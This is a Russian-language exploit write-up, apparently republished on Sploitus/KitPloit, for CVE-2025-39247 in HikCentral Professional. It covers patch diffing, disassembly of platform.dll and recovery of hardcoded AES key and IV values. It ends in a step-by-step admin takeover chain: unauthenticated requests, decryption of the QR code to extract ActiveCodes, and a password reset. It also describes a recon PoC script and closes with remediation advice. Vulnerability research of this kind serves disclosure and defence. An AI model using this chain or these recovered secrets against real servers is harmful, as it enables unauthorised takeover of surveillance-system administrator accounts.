Sploitus

Exploit for CVE-2025-39247

kitploit · 2026-09-02

Exploit Code

MARKDOWN429 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SITA-TECHNOLOGIES-CVE-2025-39247
# CVE-2025-39247

  * **Цель:** HikCentral Professional (HCMP, центральный сервер VMS)
  * **CVE:** CVE-2025-39247 — Уязвимость контроля доступа
  * **CVSS 3.1:** 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
  * **Затрагиваемые версии:** V2.3.1 – V2.6.2 и V3.0.0
  * **Исправлено в:** V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247
  * **Раскрыто:** 2025-08-28
  * **Дата анализа:** 2026-05-21



* * *

## 1\. Разведка по открытым источникам

Перед загрузкой чего-либо, что уже есть в открытом доступе:

Источник| Что говорит  
---|---  
Консультация по безопасности Hikvision| "Отсутствие проверок аутентификации на конечных точках API", рекомендация обновиться до V2.6.3 / V3.0.1  
NVD CVE-2025-39247| Метрики CVSS; вектор: сетевой, без аутентификации, изменённый объём, высокая конфиденциальность  
Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews summaries| Все повторяют консультацию; **никаких технических деталей, ни одного PoC, ни одного названного затронутого конечного пункта**  
GitHub PoC aggregators (poc-in-github, 0xMarcio/cve, etc.)| Нет проиндексированных PoC  
Forums (ipcamtalk, cctvforum, reddit), torrent indexers| Нет PoC, нет утекших установщиков; на ipcamtalk есть тема об использовании HikCentral, но ничего связанного с эксплуатацией  
  
По состоянию на дату анализа, ни одна публичная техническая статья не раскрывает ошибку. Любое воспроизведение начинается с двоичного сравнения.

* * *

## 2\. Приобретение

### 2.1 Уязвимый установщик (V2.6.2 Full Pack)

После публикации CVE-2025-39247 страница загрузки V2.6.2 была удалена, но _файл_ на CDN никогда не был удалён. Имя файла можно восстановить из стороннего зеркала, которое проиндексировало страницу до удаления (FileHorse — опубликовал имя файла и MD5). С этим именем файла простой GET-запрос к CDN Hikvision — с использованием только обычного User-Agent браузера и соответствующего заголовка `Referer` — всё ещё отдаёт его.```bash curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"   
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"   
-O   
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"

root@kitploit:~
    
    
    Результат:
    - Размер: 1,314,043,792 байт (1.22 ГБ)
    - MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — совпадает со значением, опубликованным FileHorse, что подтверждает подлинность установщика, подписанного Hikvision (не сторонняя перепаковка)
    - Заголовки ответа CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 дней в пограничном кэше Tencent EdgeOne без вытеснения)
    
    **Замечание, которое стоит сообщить в Hikvision PSIRT:** «снятие» страницы V2.6.2 является косметическим. Оставшийся без присмотра файл доступен на CDN без аутентификации и без шлюза подписанных URL. Полные пакеты V2.5.1 и V2.6.0 реагируют аналогично.
    
    ### 2.2 Исправленный установщик (V2.6.3 Base Pack)
    
    В настоящее время ссылка со страницы загрузки V2.6.3; тот же метод получения:```
    https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
    

  * Размер: 932,813,264 байт (890 МБ)
  * Последнее изменение: 2025-08-28 (дата раскрытия CVE)



### 2.3 Fix-Pack

Всё ещё доступен по ссылке со страницы загрузки V2.6.2 (Hikvision хочет, чтобы пользователи его применили):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe

root@kitploit:~
    
    
    - Размер: 32,599,504 байт (31 МБ)
    
    ---
    
    ## 3. Статическое извлечение
    
    Все три представляют собой оболочки PE в стиле InstallShield. `7z` извлекает их в два прохода:```bash
    # pass 1 — extract PE resources
    7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
    7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
    
    # pass 2 — extract the nested 7-Zip streams hiding in PE resources
    # (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
    for ver in v262 v263; do
      for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
        sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
        7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
      done
    done
    

Оба установщика распаковываются примерно в два десятка именованных архивов с полезной нагрузкой. Каталоги верхнего уровня раскрывают архитектуру:

Критически важно: **нигде нет Java JAR/WAR**. Бэкенд — это C++ на Nginx — важно, потому что сразу ясно: любые уязвимости аутентификации будут в скомпилированных бинарниках, а не в WAR/JAR байткоде, где декомпиляция тривиальна.

* * *

## 4\. Различия на уровне файлов```python

# Build inventories

for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt

# Sets: common-path + different MD5 → the patched files

v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]

root@kitploit:~
    
    
    Результат: 239 изменённых файлов в общих путях. Распределение:
    
    | Bucket | Count | Comment |
    |---|---|---|
    | `246/www/*.js` (чанки веб-интерфейса) | ~200 | В основном обновлённые хэши ресурсов — игнорировать |
    | `246/Nginx/conf/nginx_location.conf` | **1** | **Дельта конфига Nginx в одном файле — начать отсюда** |
    | `246/Nginx*/install.bat` | 6 | Сценарии установки, не связаны |
    | `244/bin/*.{exe,dll}` | 6 | Нативные бинарники (`DistributionFilter.dll`, `FilterChain.dll`, медиа-инструменты) |
    | `282/*.{exe,dll}` | 55 | Службы приложения (самый крупный кластер — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
    | `240/bin/pg_*` | 6 | Пересборка Postgres, не связана |
    | `284/hplugin/dahua_plugin/*` | 4 | Обновление SDK вендора (+10.97 МБ) — не связано |
    | `284/hplugin/onvif_plugin/*` | 4 | Обновление SDK вендора (+0.99 МБ) — не связано |
    | заглушки обновления/удаления, краш-репортеры | ~30 | Пересборка PE-таймстампов того же размера, игнорировать |
    
    После фильтрации обновлений SDK вендора, дрейфа временных меток системы сборки и чисто косметических обновлений ресурсов, *фактические* изменения, относящиеся к безопасности, сводятся к:
    
    - Одному файлу конфигурации Nginx
    - Небольшому числу C++ бинарников в `282/` (прежде всего `platform.dll`, внутренняя служба HCMP, +57 КБ)
    
    ---
    
    ## 5. Разница в Nginx: бесплатная локация ошибки
    
    `diff -u nginx_location.conf` между V2.6.2 и V2.6.3 даёт ровно один ханк: новый блок `location =` в V2.6.3.```nginx
    #禁止非127.0.0.1和::1的重置密码                   ← "Forbid non-127.0.0.1/::1 password reset"
    location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
        if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
        if ($allowed != "1")   { return 403; }
        if ($scheme = "http")  { proxy_pass http://http_backend;  }
        if ($scheme = "https") { proxy_pass http://http2_backend; }
    }
    

Эта единственная добавка из 21 строки — это и есть всё исправление CVE-2025-39247 на уровне front-door, и она говорит вам обо всём:

  * **Endpoint:** `PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword`
  * **Класс ошибки:** в V2.6.2 запрос проходит через catch-all-директиву `/ISAPI/Bumblebee/Platform/V0/*` к бэкенду **без ограничения по удалённому адресу** и **без проверки аутентификации на уровне Nginx**.
  * **Семантика бэкенда:** обработчик предназначен для установки начального пароля администратора по умолчанию во время установки (то есть доверяет вызывающему как локальному установщику); исправление делает это доверие явным.



Китайский комментарий важен: он буквально переводится как "_Запретить сброс пароля с адресов, отличных от 127.0.0.1/::1_ ".

* * *

## 6\. Форма запроса из Web UI

JavaScript Web UI (минифицированный, в `246/www/Portal/*.js`) вызывает endpoint следующим образом:```js // API definition (de-minified): changeDefaultUserPassword: function (sid, payload, opts) { return http.put({ url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword", data: { ChangeDefaultUserPasswordRequest: payload }, params: { SID: sid } }, opts); }

// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);

// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }

root@kitploit:~
    
    
    Таким образом, даже до дизассемблирования чего-либо, общедоступный JS выдает полную структуру проводов. Но он также раскрывает неудобную часть: тело запроса должно содержать **либо действительный `ActiveCode`, либо правильные ответы `QuestionList`**. Отправка пустых значений не работает — бэкенд отклоняет с одной из задокументированных ошибок (проверено строковым майнингом `platform.dll`, §7).
    
    Итак, CVE-2025-39247 **не** является «уязвимостью обхода аутентификации; отправьте пустые поля, и пароль изменится». Это «уязвимость, заключающаяся в том, что конечная точка *доверяет локальному вызывающему* уже иметь правильный ActiveCode; ошибка в том, что отсутствует сетевая локалхост-проверка, поэтому любой *удаленный* вызывающий, который *также* может предоставить действительный ActiveCode или QuestionList, преуспевает». Следовательно, реальная загадка эксплойта: откуда берется ActiveCode или QuestionList?
    
    ---
    
    ## 7. Обработчик бэкенда — строковый майнинг `platform.dll`
    
    `platform.dll` — это серверная служба HCMP, 46,87 МБ в V2.6.2, 46,93 МБ в V2.6.3 (+57 КБ). Все строки маршрутизации, строки формата журнала и строки C++ RTTI / `__FUNCTION__` присутствуют в открытом виде.
    
    Строки внутри `platform.dll` рядом с обработчиком:```
    VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
    ..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
    /ChangeDefaultUserPasswordRequest/UserName
    /ChangeDefaultUserPasswordRequest/Password
    /ChangeDefaultUserPasswordRequest/ActiveCode
    /ChangeDefaultUserPasswordRequest/CryptoKey
    /ChangeDefaultUserPasswordRequest/QuestionList
    /ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
    
    [%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
    [%s]invalid active_code=%s
    [%s]security question verify fail
    [%s]IP=[%s] Isn't Super User!
    [%s]IP=[%s] User Not Exist!
    [%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
    [%s] ChangeDefaultUserPassword by ip[%s].
    

Обе версии `platform.dll` содержат эти строки. Значит, логика проверки существует и в V2.6.2 — `ActiveCode` и `QuestionList` _проверяются_.

### 7.1 Что нового в V2.6.3 в этом обработчике? (защита в глубине: отпечатки)

Строки, которые есть в V2.6.3 `platform.dll`, но _отсутствуют_ в V2.6.2:```

# An entirely new C++ class — rate-limit / lockout subsystem:

VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d

# Application-level remote-addr literal:

127.0.0.1

# Literal "admin" appearing twice near the handler:

admin

# Token validation:

VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s

# Lockout/throttle response fields:

/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType

root@kitploit:~
    
    
    Перевод: В V2.6.2 **не было** ограничения скорости на пути проверки `ChangeDefaultUserPassword`. Атакующий, который вводит неправильный ActiveCode или неверные ответы на контрольные вопросы, просто получает ошибку и может повторять попытки бесконечно. Строка формата кода проверки `%06d` также находится в `platform.dll` (наряду со схемой SQL `verify_code VARCHAR(64)`), что подтверждает, что код подтверждения электронной почты представляет собой **6-значное десятичное число**, пространство поиска 10⁶.
    
    Это уже реализуемая эксплуатация (путь A): запустить `SendVerifyCode`, перебором 10⁶ кодов в пределах окна действия без блокировки. При 1000 запросов/с среднее время до успеха ≈ 8 минут. Но есть более резкий путь.
    
    ---
    
    ## 8. Поверхность раскрытия информации без аутентификации
    
    Перечисление конечных точек в `platform.dll` выявляет несколько родственных, которые выглядят связанными:```
    /ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
    /ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
    /ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
    /ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
    /ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
    /ISAPI/Bumblebee/Platform/V0/Security/Crypto
    /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
    

Ни одно из них не ограничено `nginx_location.conf`; все проходят через один и тот же прокси по умолчанию `/ISAPI/Bumblebee/Platform/*`. Строки обработчиков показывают, что они возвращают:``` /ResponseStatus/Data/UserRetrieveStateInfo/Info/Email /ResponseStatus/Data/UserRetrieveStateInfo/Info/Name /ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType /ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout /ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted /ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted /ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve

root@kitploit:~
    
    
    Таким образом, `RetrieveStateInfo(Name=admin)` возвращает email администратора, настроено ли восстановление по контрольному вопросу, настроено ли восстановление по email, а также оставшееся время жизни любого текущего кода подтверждения — любому неаутентифицированному пользователю.
    
    `RetrieveStateInfo` не защищён патчем V2.6.3. Утечка информации сохраняется в V2.6.3.
    
    ---
    
    ## 9. Поверхность атаки через лицензию/QR
    
    Конечная точка `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` примечательна тем, что её название объединяет *License* (лицензия) и *ActiveCode* (активный код) — и обработчик сброса пароля также принимает поле `ActiveCode`. Это подозрительное совпадение терминологии.
    
    Строки, доступные из этого обработчика:```
    License:%s;DZP:%s                                    ← QR plaintext format
    [%s]PrivateAESEncrptQRCode failed! data:%s           ← AES path used to encrypt
    [%s]Base64Encode failed! data:%s                     ← then base64
    /ResponseStatus/Data/QRCode                          ← response field
    https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
    

Итак, QR-код представляет собой `Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) )`, и открытый текст буквально содержит активный код лицензии для каждой установки, который проверяет конечная точка сброса пароля. QR-код обёрнут в шаблон URL `https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext>`, который затем преобразуется в QR-PNG; этот PNG и возвращается в поле JSON-ответа `Data.QRCode`.

**Подтверждение сравнением V2.6.3:** форматная строка `License:%s;DZP:%s` существовала в V2.6.2 `platform.dll` и **удалена в V2.6.3**. Сама конечная точка QR, символ функции `PrivateAESEncrptQRCode` и литерал IV (§10) остались в V2.6.3 — удалён только утекший формат открытого текста. Именно так и должна выглядеть правка от Hikvision.

* * *

## 10\. Восстановление ключа AES и IV с помощью дизассемблирования

Это трудоёмкий шаг. План:

  1. Найти функцию `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` в `platform.dll`.
  2. Прочитать её настройку ключа и IV.
  3. Либо оба являются литеральными байтами, которые можно считать, либо они вычисляются — в этом случае проследить вычисление.



### 10.1 Поиск функции

Форматная строка ошибки `[%s]PrivateAESEncrptQRCode failed! data:%s` находится в `.rdata`. Найдите её VMA в `.rdata`, затем просканируйте `.text` на наличие инструкций `lea r, [rip + rel32]`, которые ссылаются на эту VMA. (Для 16 МБ `.text` это занимает несколько секунд с помощью `pefile + capstone` при линейном поиске паттерна REX.W + 8D + MODRM mod=00 rm=101.)

Журнал ошибок ссылается ровно на одну инструкцию по адресу `0x1812553f7`. Подъём до родительской функции через `.pdata` (таблица раскрутки PE x64 — заголовок секции, разбираемый с помощью `pefile`, двенадцать байт на запись RUNTIME_FUNCTION: start_RVA, end_RVA, unwind_RVA) даёт внешний обработчик ISAPI `CLicenseISAPIComm::ActiveCodeQRcode` в диапазоне `0x181254cc0..0x181255919`.

Эта внешняя функция формирует строку открытого текста `"License:%s;DZP:%s"` и кодирует результат в base64; фактический вызов AES находится во вспомогательной функции на один уровень ниже, по адресу `0x18002a397` (разрешается через jmp thunk к функции размером 502 байта, строка RTTI которой — `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` — подтверждено перекрёстной ссылкой на строку).

### 10.2 Внутри обёртки AES по адресу `0x1807d33e0`

Дизассемблирование тела размером 502 байта и перечисление всех `lea r, [rip + rel32]`, чья цель находится в `.rdata`, возвращает всего 5 ссылок на строки:``` 0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols 0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp' 0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode' 0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]' 0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'

root@kitploit:~
    
    
    Первый элемент — это единственная 16-байтовая ссылка на строку (`stringref`). Такая длина подозрительна: блок AES, ключ и IV — все по 16 байт для AES-128. Буквальная строка `AaBbCcDd1234!@#$` — восемь пар букв в чередующемся регистре, за которыми следует `1234!@#$` — также имеет вид «константы-заполнителя разработчика» (похожа на реальные идиомы ASCII `BAADF00D` / `DEADBEEF`). На этом этапе разумная гипотеза: «это IV».
    
    Эта гипотеза подтверждается контекстом дизассемблирования. Последовательность инструкций вокруг ссылки на строку (`stringref`):```asm
    ; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
    mov  dword ptr [rsp + 0x100], 5             ; some flag = 5
    lea  rdx, [rip + 0x1837cd7]                 ; <— loads "AaBbCcDd1234!@#$"
    lea  rcx, [rsp + 0xe0]                      ; destination
    call <thunk>                                ; std::string assign-like; copies 16B into [rsp+0xe0]
    mov  dword ptr [rsp + 0x104], 1
    lea  rdx, [rsp + 0xa0]                      ; pass: rdx = key  (16B at [rsp+0xa0])
    lea  rcx, [rsp + 0x60]                      ; pass: rcx = output buffer
    call <encrypt-wrapper at 0x180007563>       ; → 0x181b03790, a generic AES mode-dispatcher
                                                ;   that imports AES_cbc_encrypt, AES_cfb128_encrypt,
                                                ;   AES_ecb_encrypt and AES_ofb128_encrypt.
                                                ;   QR path takes the AES_cbc_encrypt branch.
    

Итак, `[rsp+0xe0]` в итоге содержит байты IV, `[rsp+0xa0]` хранит 16 байтов, ранее собранных в `[rsp+0xc0]` (ключ), и эти два буфера затем передаются в обёртку OpenSSL. Подтвердить извлечение IV можно простой перекрёстной проверкой: в `platform.dll` версии 2.6.3 всё ещё содержится литерал `AaBbCcDd1234!@#$` по тому же смещению — Hikvision не изменила IV, что является _правильным_ криптографическим решением (секретным должен быть только ключ, IV должен быть уникальным для каждого сообщения, но фиксированный IV — это «слабость», а не «взлом» в том смысле, в котором взломом был бы фиксированный _ключ_).

### 10.3 Построение ключа

Непосредственно над строковой ссылкой IV обёртка настраивает ключ с помощью следующей короткой последовательности:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]

root@kitploit:~
    
    
    Затем дизассемблируем `0x1807d19b0`: это *чисто арифметическая функция формирования ключа*. Она принимает один байт на вход (значение `0x41`), выделяет 16 байт в стеке и записывает 16 значений, каждое из которых вычисляется как `seed + offset_i` для жёстко заданной последовательности из 16 знаковых смещений:```
    +0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
    −0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
    

С начальным значением `0x41` (`'A'`):

### 10.4 Восстановленный криптографический материал```

Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$

root@kitploit:~
    
    
    Тот же арифметический набор. Те же последние 8 байт (`1234!@#$`). Обе являются встроенными в бинарный код константами, одинаковыми для каждой установки V2.6.2 (и для V2.3.1 .. V2.6.2 и V3.0.0 — они разделяют путь шифрования QR-кода), поэтому однократного извлечения из одной копии `platform.dll` достаточно, чтобы расшифровать QR-код с любого уязвимого сервера HCMP в сети.
    
    ---
    
    ## 11. Сквозная цепочка
    
    Цепочка четко разделяется на две половины:
    
    - **Половины 1-3** представляют собой неаутентифицированную проблему **раскрытия информации** в HCMP. Они выполняются против цели с двумя запросами на чтение и восстанавливают секрет, уникальный для каждой установки (License ActiveCode), из конечной точки до входа в систему.
    - **Половины 4-5** — это **захват**, выполняемый путем отправки восстановленного ActiveCode в легитимный рабочий процесс HCMP "Забыли пароль" через обычный веб-интерфейс. Никакого специального HTTP-запроса не требуется — оператор проходит через ту же форму, что и легитимный пользователь.
    
    Разделение имеет значение: оно позволяет реализовать эталонный PoC как чистый инструмент разведки без какого-либо деструктивного пути кода (рабочий процесс UI остается с участием человека).```
    HALF 1 — automated recon (recovers the ActiveCode):
    
    1. POST  /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET   (empty body)
             (unauthenticated, read-only)
             → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
             → SID is a server-issued anonymous session token used by step 2.
    
    2. POST  /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
             (empty body, unauthenticated, read-only)
             → ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
             The QR's payload is the URL template
                 https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
             where  <b64> = base64(
                              AES-128-CBC-PKCS7(
                                KEY = WwXxYyZz1234!@#$,
                                IV  = AaBbCcDd1234!@#$,
                                PT  = "License:<code>[,<code>...];DZP:<devicecode>"))
             The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
             (one per licensed module on the target). Any single ActiveCode in
             that list is accepted by the takeover workflow in HALF 2.
    
    3. Locally:
         a. base64-decode the QRCode field → PNG bytes
         b. decode the QR (e.g. pyzbar)     → URL string
         c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
            base64 character that must survive verbatim)
         d. base64-decode                   → 16N bytes of AES ciphertext
         e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
         f. split on  "License:" / "," / ";DZP:"
         → list of ActiveCodes in plaintext.
    
    HALF 2 — manual takeover via the legitimate Web UI:
    
    4. Open  https://<target>:<port>  in a browser.
    5. Click «Forgot password».
    6. Username                 →  admin
    7. Recovery method          →  «Activation code»  (NOT email / questions)
    8. Activation code          →  <one of the recovered ActiveCodes>
    9. Choose & confirm a new admin password.
    10. Log in as admin with the new password.
    

Никакого брутфорса, никакой социальной инженерии, никаких предварительных знаний, кроме 16-байтовой пары KEY+IV, которая восстанавливается один раз из одного `platform.dll` версии V2.6.2 и идентична для каждой установки любой уязвимой версии. Половины 4–10 выполняются оператором вручную через легитимный пользовательский интерфейс — в референсном PoC нет автоматизированного аналога.

Реализация: `poc/cve_2025_39247_poc.py` — **только разведывательный** Python-скрипт. Он выполняет ПОЛОВИНУ 1 (два предаутентификационных POST-запроса только для чтения), а затем выводит руководство по ручному выполнению (этапы 4–10) с подставленными URL цели оператора и восстановленным(и) ActiveCode(s). Скрипт не содержит кода, который записывает данные в цель; ПОЛОВИНА 2 выполняется вручную через веб-интерфейс, поэтому инструмент остаётся средством проверки, а не оружием нацеливания и забывания.

Запуск:```bash python3 poc/cve_2025_39247_poc.py https://:

root@kitploit:~
    
    
    Два флага `--qr-*` позволяют скрипту работать полностью офлайн с захваченным QR-кодом (для анализа без повторного обращения к цели):
    - `--qr-scanned-text '<value>'` — вставьте текстовое содержимое отсканированного QR
    - `--qr-ciphertext-hex <hex>` — передайте предварительно извлечённый base64-декодированный AES-шифротекст
    
    ---
    
    ## 12. Что на самом деле изменилось в V2.6.3 (и Fix-Pack)
    
    | Защита | V2.6.2 | V2.6.3 | Fix-Pack на V2.6.2 |
    |---|---|---|---|
    | Ограничение `remote-addr` Nginx для `ChangeDefaultUserPassword` | отсутствует | **добавлено** | **добавлено** (через скрипт InstallShield внутри EXE Fix-Pack — подтверждено строками `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` внутри установщика Fix-Pack) |
    | Проверка литерала `127.0.0.1` на уровне приложения в обработчике | отсутствует | **добавлено** | не добавлено (Fix-Pack не патчит `platform.dll`) |
    | Блокировка учётной записи (`CRetrievePwdByQuesFreezeManager`) | отсутствует | **добавлено (только для администратора)** | не добавлено |
    | Шаг проверки `CheckToken` | отсутствует | **добавлено** | не добавлено |
    | Открытый текст QR содержит `License:<ActiveCode>;DZP:...` | ДА | **удалено** | не изменено (Fix-Pack не патчит `platform.dll`) |
    | Ключ AES QR | восстанавливаем из бинарника | изменён *или* не используется (зависит от того, сделало ли изменение формата открытого текста этот путь мёртвым) | изменён с помощью `wbaes_key_dec` + дешифратора whitebox-AES в Fix-Pack |
    | IV AES QR | `AaBbCcDd1234!@#$` | не изменён | не изменён |
    | Утечка информации `RetrieveStateInfo` | утекает | **всё ещё утекает** | всё ещё утекает |
    | `GetSecurityQuestionCommBeforeLogin` | утекает | **всё ещё утекает** | всё ещё утекает |
    | Уязвимый установщик доступен на CDN Hikvision | да | да | да |
    
    Fix-Pack поставляет дополнительный компонент, не нужный для релиза V2.6.3: **дешифратор whitebox-AES** (`wbext_dec.exe`, исходный путь утекает `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, использует свой литерал IV `fixed_iv_16byte`) плюс **244-байтовый AES-128-CFB шифротекст** (`wbaes_key_dec`). Дешифратор принимает блоб шифротекста и создаёт новый открытый ключ, который установщик Fix-Pack записывает в хранилище HCMP, чтобы изменить встроенный в бинарник ключ QR на существующих установках V2.6.2. Whitebox-AES используется здесь исключительно для того, чтобы затруднить извлечение изменённого ключа обратно из артефакта патча путём инспекции — тот же защитный приём, используемый в системах DRM.
    
    ---
    
    ## 13. Рекомендуемые действия по исправлению (помимо выпущенных патчей)
    
    1. **Удалить осиротевшие бинарники установщиков с CDN.** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` всё ещё отдаёт HTTP/2 200 с кэш-хитом граничного узла возрастом 29 дней. То же верно для V2.6.0, V2.5.1 и т.д. — каждый установщик в уязвимом диапазоне всё ещё доступен по прямому URL. Удаление со страницы — косметическое.
    2. **Аутентифицировать `RetrieveStateInfo` и `GetSecurityQuestionCommBeforeLogin`.** Оба утекают email администратора и метаданные конфигурации восстановления для анонимных вызывающих даже в V2.6.3; ни один не был затронут исправлением.
    3. **Перестать использовать константы-заполнители ASCII в качестве криптографического ключевого материала.** `WwXxYyZz1234!@#$` — это значение, которое выживает при «просмотре кода вскользь». Замените на случайный материал при первом запуске; если требуется обратная совместимость с встроенным в бинарник запасным вариантом, как минимум вычисляйте его из хэша состояния, специфичного для установки (GUID машины, временная метка установки), чтобы он различался для каждого развёртывания.
    4. **Относиться к утверждению «IV не обязан быть секретным» как к граблям, а не как к лицензии.** Хранение литерала IV даже после раскрытия математически обосновано в CBC, но создаёт излишние удобства для атакующего, когда дифф показывает изменение только ключа.
    5. **Для семейства эндпоинтов `ChangeDefault*`** предпочесть сокет Unix-домена / слушатель только на loopback на уровне приложения, а не ограничение в конфиге Nginx. Файл конфигурации находится на расстоянии одной неправильной правки от повторного внесения ошибки; привязка `bind 127.0.0.1` в C++-сервисе структурно безопаснее.